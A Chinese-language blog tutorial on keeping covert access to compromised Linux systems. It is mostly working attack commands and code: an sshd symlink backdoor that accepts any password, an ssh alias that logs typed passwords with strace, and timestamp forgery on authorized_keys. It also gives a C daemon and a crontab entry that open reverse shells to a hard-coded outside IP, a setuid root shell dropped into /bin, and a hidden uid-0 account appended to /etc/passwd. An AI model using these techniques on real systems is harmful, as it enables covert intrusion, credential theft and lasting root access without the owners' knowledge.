Linux 权限维持
总述
本文讲解了 Linux 环境下的 常规的 权限维持 手法。
神
1. SSH 后门 - 漏洞
2. Linux Pam 后门 - 漏洞
3. Alias 后门
4. Crontab 计划任务
5. Setuid、Setgid
6. 后门账户
1. SSH后门
1) 软链接SSHd
输入任意密码就可以以 root 用户权限登陆,如果 root 用户被禁止登陆时,可以利用其他存在的用户身份登陆。
1、创建软链接后门
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oport=12345
- /usr/sbin/sshd → 这是 OpenSSH 服务的服务器端程序(Secure Shell Daemon)。
- ln -sf → 在 /tmp 下建立一个软链接,指向原本的 sshd,并取名 su(容易混淆,因为系统 /bin/su 是切换用户的命令)。
- /tmp/su -oport=12345 → 实际上就是启动了一个 新的 sshd 服务进程,监听在本地 12345 端口。
/tmp/su -oPort=12345 这一步才是核心。
sshd 在启动时会读取 /etc/ssh/sshd_config 的配置文件。
但是 OpenSSH 支持在命令行用 -o 参数来覆盖配置文件里的设置。
sshd -oPort=12345 -oPermitRootLogin=yes -oPasswordAuthentication=yes
就等于临时启了一个新的 sshd 进程,监听在 12345 端口,并且允许 root 用密码登录。
也就是说:
攻击者可以在不用改 /etc/ssh/sshd_config 的情况下,直接运行一个“自定义配置”的 sshd 实例。
2、连接后门
ssh [email protected] -p 12345 -P saiufyhioashfi(密码 -> (随便输入))
- ssh [email protected] -p 12345 → 直接用 SSH 客户端连接这个新开的 sshd 服务。


2) SSH Key
最常见的写 公私钥 了。
最初出现在 文件传输 - SCP。
最好是 本地生成公私钥,然后把 公钥 内容 >> 重定向追加到服务器的 ~/.ssh/authorized_keys 文件当中。
详细可参考 Linux - SSH - SSH 证书免密 一文。
1、生成私钥和公钥
ssh-keygen -t rsa



2、将公钥复制到目标服务器
# 存放到服务器的这个路径
# 创建 SSH 目录(如无)
mkdir -p ~/.ssh
chmod 700 ~/.ssh
# 把公钥写入 authorized_keys
echo "你的公钥内容" >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys
3、重启ssh服务
service ssh restart
4、免密登录
ssh [email protected] -i 私钥文件
- 私钥文件正确放置在了 C:\Users\用户\.ssh\ 目录下的话都不许指定,可直接连接。

详细可参考 Linux - SSH - SSH 证书免密 一文。
进阶
1. 更改authorized_keys文件时间
touch -r 参考文件 authorized_keys
如:
touch -r /www/wwwroot/upload.zip authorized_keys

3)SSH Keylogger(重看视频)
strace常用来跟踪进程执行时的系统调用和所接收的信号。
在Linux世界,进程不能直接访问硬件设备,当进程需要访问硬件设备(比如读取磁盘文件,接收网络数据等等)时,必须由用户态模式切换至内核态模式,通过系统调用访问硬件设备。
strace 可以跟踪到一个进程产生的系统调用,包括参数,返回值,执行消耗的时间。
SSH 连接输入密码时的密码无论错误或者正确都能记录到 log 里。
编辑当前用户下的 .bashrc 文件,在配置文件末尾添加:
alias ssh='strace -o /tmp/sshpwd-`date +%d%h%m%s`.log -e read,write,connect -s2048 ssh'

如此,便可在结果当中监视到当前用户其他终端下的关于 SSH 相关的命令。



2. Linux PAM 后门
滚一边去
so 文件劫持,值得一说。
看看操作复述一遍得了,实操别干。
3. Alias后门
通过 alias 来指定执行特定的命令时候静默运行其他程序,从而达到启动后门,记录键值等作用。
1)记录监听
修改ssh命令,利用strace,使其具有记录ssh对read,write,connect调用的功能。
alias ssh='strace -o /tmp/sshpwd-`date +%d%h%m%s`.log -e read,write,connect -s2048 ssh'
2)反弹Shell
0、shell.c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <time.h>
#include <fcntl.h>
#include <string.h>
#include <sys/stat.h>
#include <signal.h>
#define ERR_EXIT(m) do { perror(m); exit(EXIT_FAILURE); } while (0);
void creat_daemon(void);
int main(void)
{
time_t t;
int fd;
creat_daemon();
system("/bin/rm /bin/sh;/bin/ln -s /bin/bash /bin/sh");
// 修改下方的 IP 和 Port,反弹 Shell
system("/bin/bash -i >& /dev/tcp/120.55.169.128/8088 0>&1");
return 0;
}
void creat_daemon(void)
{
pid_t pid;
int devnullfd, fd, fdtablesize;
umask(0);
pid = fork();
if (pid == -1)
ERR_EXIT("fork error");
if (pid > 0)
exit(EXIT_SUCCESS);
if (setsid() == -1)
ERR_EXIT("SETSID ERROR");
chdir("/");
/* close any open file descriptors */
for (fd = 0, fdtablesize = getdtablesize(); fd < fdtablesize; fd++)
close(fd);
devnullfd = open("/dev/null", 0);
/* make STDIN ,STDOUT and STDERR point to /dev/null */
if (devnullfd == -1) {
ERR_EXIT("can't open /dev/null");
}
if (dup2(devnullfd, STDIN_FILENO) == -1) {
ERR_EXIT("can't dup2 /dev/null to STDIN_FILENO");
}
if (dup2(devnullfd, STDOUT_FILENO) == -1) {
ERR_EXIT("can't dup2 /dev/null to STDOUT_FILENO");
}
if (dup2(devnullfd, STDERR_FILENO) == -1) {
ERR_EXIT("can't dup2 /dev/null to STDOUT_FILENO");
}
signal(SIGCHLD, SIG_IGN);
return;
}
1、编译代码
gcc shell.c -o /tmp/.shell

2、添加alias别名
# 在终端当中执行命名(不写进 .bashrc 等文件的话),那么该别名仅对 当前终端 命名。
alias cat='/tmp/.shell && cat'

3、监听端口接收shell
nc -lvvp 8088


4. Crontab 后门
1.服务开启
service crond start
2.编辑计划任务
crontab -e -u 用户名
3.查看计划任务
crontab -l -u 用户名
4.删除计划任务:
crontab -r -u 用户名
root@kali:~# crontab -h
crontab -h
usage: crontab [-u user] [-n] file
crontab [ -u user ] [ -i ] { -e | -l | -r }
-h (displays this help message)
file (default operation is replace, per 1003.2)
-n (dry run: checks the syntax, then bails out)
-u user (choose the user whose crontab is touched)
-e (edit user's crontab)
-l (list user's crontab)
-r (delete user's crontab)
-i (prompt before deleting user's crontab)
# 相关文件
/var/spool/cron/用户名 # 用户定义的设置
/var/spool/cron/crontabs
/var/log/cron # cron服务的日志文件
/etc/crontab # cron服务配置文件

每分钟反弹一次shell给指定ip的8088端口
(crontab -l;echo '*/1 * * * * exec 9<> /dev/tcp/120.55.169.128/8088;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i')|crontab -


5. Setuid 和 Setgid
1)setuid
定义
当一个程序具有setuid权限时,即使该程序是由普通用户启动的,它也会以该程序文件所有者的权限运行。这意味着程序可以访问所有者可以访问的文件和资源。
用途
setuid通常用于需要临时提升权限的程序,例如passwd、su等。这些程序需要修改系统文件或执行需要管理员权限的操作。
风险
滥用setuid权限可能导致安全问题,因为它允许普通用户执行通常只有root用户才能执行的操作。因此,只有在绝对必要时才应该使用setuid。
2)setgid
定义
类似于setuid,setgid允许程序在执行时以文件所属组的权限运行。这意味着程序可以访问该组可以访问的文件和资源。
```QiaoShen
#### 用途
```QiaoShen
setgid通常用于需要访问特定组文件的程序,例如一些共享资源或多用户应用程序。
风险
与setuid类似,setgid也可能带来安全风险,因为它允许程序访问可能不应该访问的文件。
3) 利用
0、back.c
程序使用setuid和setgid函数设置自己的用户ID和组ID为0(通常是root用户的ID)
#include <unistd.h>
void main(int argc, char *argv[])
{
setuid(0);
setgid(0);
if (argc > 1)
execl("/bin/sh", "sh", "-c", argv[1], NULL);
else
execl("/bin/sh", "sh", NULL);
}
1、编译程序
gcc back.c -o /tmp/back

2、将编译好的程序复制到/bin目录
cp /tmp/back /bin/

3、给程序添加SUID权限
chmod u+s /bin/back

4、实现 - 在普通用户权限下执行back即可得到root权限

6. 后门账号
创建后门账号是一种常见的持久化攻击手段,攻击者通过在系统中添加隐藏账号来长期维持对目标系统的访问。
1、生成加密密码
使用Perl脚本和crypt函数生成加密后的密码
"QiaoShen" 是明文密码,"QiaoShenSalt"是盐值(salt)
perl -e 'print crypt("QiaoShen","QiaoShenSalt")."\n"'
↓
QiDobGEC4kmIc

2、添加用户到/etc/passwd文件
echo "weblogic1:QiDobGEC4kmIc:0:0:root:/root:/bin/bash" >> /etc/passwd

因为 uid、gid 为0,那就是 root,甚至其实 uid 是 0 那就是 root,所以登录 weblogic1 以后其实就是 root 用户。
前面的是 uid,后面的是 gid,是否拥有 root 权限重点在于前面的 uid 是否为 0,代表着是否拥有 root 的权限,uid 不为0、gid为0 也没啥用。
uid 为 0,gid 不为0,拥有 root 权限,登陆了也就是 root 用户。
uid 为 0,gid 为0,就是root用户,登陆了也是root用户。

版权声明:
本站所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自
QiaoShen-World!
喜欢就支持一下吧